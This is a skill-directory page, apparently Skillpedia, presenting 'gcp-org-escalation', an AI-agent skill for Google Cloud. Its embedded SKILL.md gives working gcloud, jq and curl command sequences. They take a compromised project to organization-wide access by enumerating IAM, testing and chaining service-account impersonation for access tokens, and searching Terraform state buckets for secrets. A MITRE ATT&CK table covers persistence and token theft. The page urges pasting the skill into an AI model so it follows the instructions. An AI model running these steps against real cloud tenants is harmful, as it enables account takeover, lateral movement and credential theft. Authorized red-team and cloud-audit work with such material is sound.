Skip to content
Skillpedia
Security6.5k Β· #13996

gcp-org-escalation

What it does

This skill covers privilege paths across Google Cloud organizations, from one project to organization-wide control. It is for cloud security teams reviewing organization-level permissions.

When to use it

  • βœ“When an authorized review needs to know whether one project's access could reach the whole Google Cloud organization.
  • βœ“When you want to check organization policies and their exceptions.
  • βœ“When a team needs to review infrastructure state files that might reveal secrets for other projects.

Skill link

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/gcp-org-escalation/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/gcp-org-escalation/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œCan you review whether a single project's service account could reach other projects in our Google Cloud organization?”

5 new skills a week. 1 minute to read.

How it works

The agent lists organization permissions, project relationships and service account links, and reports the paths that would let access spread between projects.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

GCP Organization-Level Privilege Escalation

Escalate from a single compromised GCP project to organization-wide access. GCP's hierarchical IAM (Org β†’ Folder β†’ Project β†’ Resource) means permissions inherited from above are invisible at the project level. Cross-project service account impersonation, org policy constraint bypass, and Terraform state pillaging unlock lateral movement across the entire cloud estate.

Quick Reference

# Current identity and project
gcloud auth list
gcloud config get-value project
gcloud organizations list

# Enumerate org-level IAM
gcloud organizations get-iam-policy <ORG_ID> --format=json

# List all projects in org
gcloud projects list --filter="parent.id=<ORG_ID>" --format="table(projectId,name,lifecycleState)"

# Test cross-project service account impersonation
gcloud auth print-access-token --impersonate-service-account=<SA_EMAIL>

# List org policy constraints
gcloud org-policies list --organization=<ORG_ID>

# Find Terraform state buckets
gsutil ls -p <PROJECT_ID> | xargs -I{} gsutil ls {} | grep -i terraform

MITRE ATT&CK Mapping

Technique ID Application
Valid Accounts: Cloud Accounts T1078.004 Abuse compromised SA or user for cross-project access
Cloud Infrastructure Discovery T1580 Enumerate projects, SAs, IAM bindings, resources across org
Account Manipulation: Additional Cloud Roles T1098.001 Add IAM bindings for persistence
Steal Application Access Token T1528 Extract SA keys, OAuth tokens, metadata tokens
Cloud Storage Object Discovery T1619 Discover Terraform state, config buckets

1. IAM Enumeration at Organization Level

# List organization
ORG_ID=$(gcloud organizations list --format="value(ID)" | head -1)
echo "Org ID: $ORG_ID"

# Org-level IAM policy (who has org-wide access)
gcloud organizations get-iam-policy "$ORG_ID" --format=json > org_iam.json
cat org_iam.json | jq '.bindings[] | select(.role | test("admin|owner|editor|security")) | {role, members}'

# List all folders
gcloud resource-manager folders list --organization="$ORG_ID" --format="table(name,displayName)" > folders.txt

# Enumerate folder-level IAM
while read folder_id; do
  echo "=== $folder_id ==="
  gcloud resource-manager folders get-iam-policy "$folder_id" --format=json 2>/dev/null
done < <(gcloud resource-manager folders list --organization="$ORG_ID" --format="value(name)")

# List ALL projects in org
gcloud projects list --filter="parent.id=$ORG_ID" --format=json > all_projects.json

# Per-project IAM enumeration (find over-permissioned SAs)
for proj in $(jq -r '.[].projectId' all_projects.json); do
  echo "=== $proj ==="
  gcloud projects get-iam-policy "$proj" --format=json 2>/dev/null | \
    jq '.bindings[] | select(.members[] | test("serviceAccount")) | {role, members}'
done

# List all service accounts across projects
for proj in $(jq -r '.[].projectId' all_projects.json); do
  gcloud iam service-accounts list --project="$proj" --format="table(email,displayName)" 2>/dev/null
done

# Test current permissions
gcloud projects get-iam-policy <PROJECT_ID> --flatten="bindings[].members" \
  --filter="bindings.members:$(gcloud auth list --filter=status:ACTIVE --format='value(account)')" \
  --format="table(bindings.role)"

2. Cross-Project Service Account Impersonation

# Service account impersonation chain:
# SA-A (compromised) β†’ impersonate SA-B (target project) β†’ access target resources

# Check if current SA can impersonate other SAs
gcloud iam service-accounts list --project=<TARGET_PROJECT> --format="value(email)" | while read sa; do
  echo "Testing: $sa"
  gcloud auth print-access-token --impersonate-service-account="$sa" 2>/dev/null && echo "[+] CAN IMPERSONATE: $sa"
done

# Check who can impersonate a specific SA
gcloud iam service-accounts get-iam-policy <TARGET_SA_EMAIL> --format=json | \
  jq '.bindings[] | select(.role | test("iam.serviceAccountTokenCreator|iam.serviceAccountUser"))'

# Multi-hop impersonation (SA chaining)
# SA-A β†’ impersonate SA-B β†’ impersonate SA-C
gcloud auth print-access-token \
  --impersonate-service-account=<SA_B_EMAIL> \
  --include-email 2>/dev/null

# Then use SA-B's token to impersonate SA-C via API
TOKEN_B=$(gcloud auth print-access-token --impersonate-service-account=<SA_B_EMAIL>)
curl -s -X POST "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<SA_C_EMAIL>:generateAccessToken" \
  -H "Authorization: Bearer $TOKEN_B" \
  -H "Cont
FAQ

Why are organization permissions hard to see?

They are inherited from above the project level, so they do not appear in project-only views.

Why are Terraform state files relevant?

The skill notes that these files can contain secrets and details about other resources.

What does the review produce?

A list of cross-project paths and the controls that would close them.

Details

Original description by the author

GCP organization-level privilege escalation β€” cross-project pivoting, org policy bypass, service account impersonation chains, Terraform state secrets, and GKE cluster compromise. Escalate from single-project access to org-wide control.

repo: BitterSecurity/Decepticon

Popularity

GitHub stars
6.5k
Ranking position
#13996
License
Apache-2.0
Updated
11/1/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills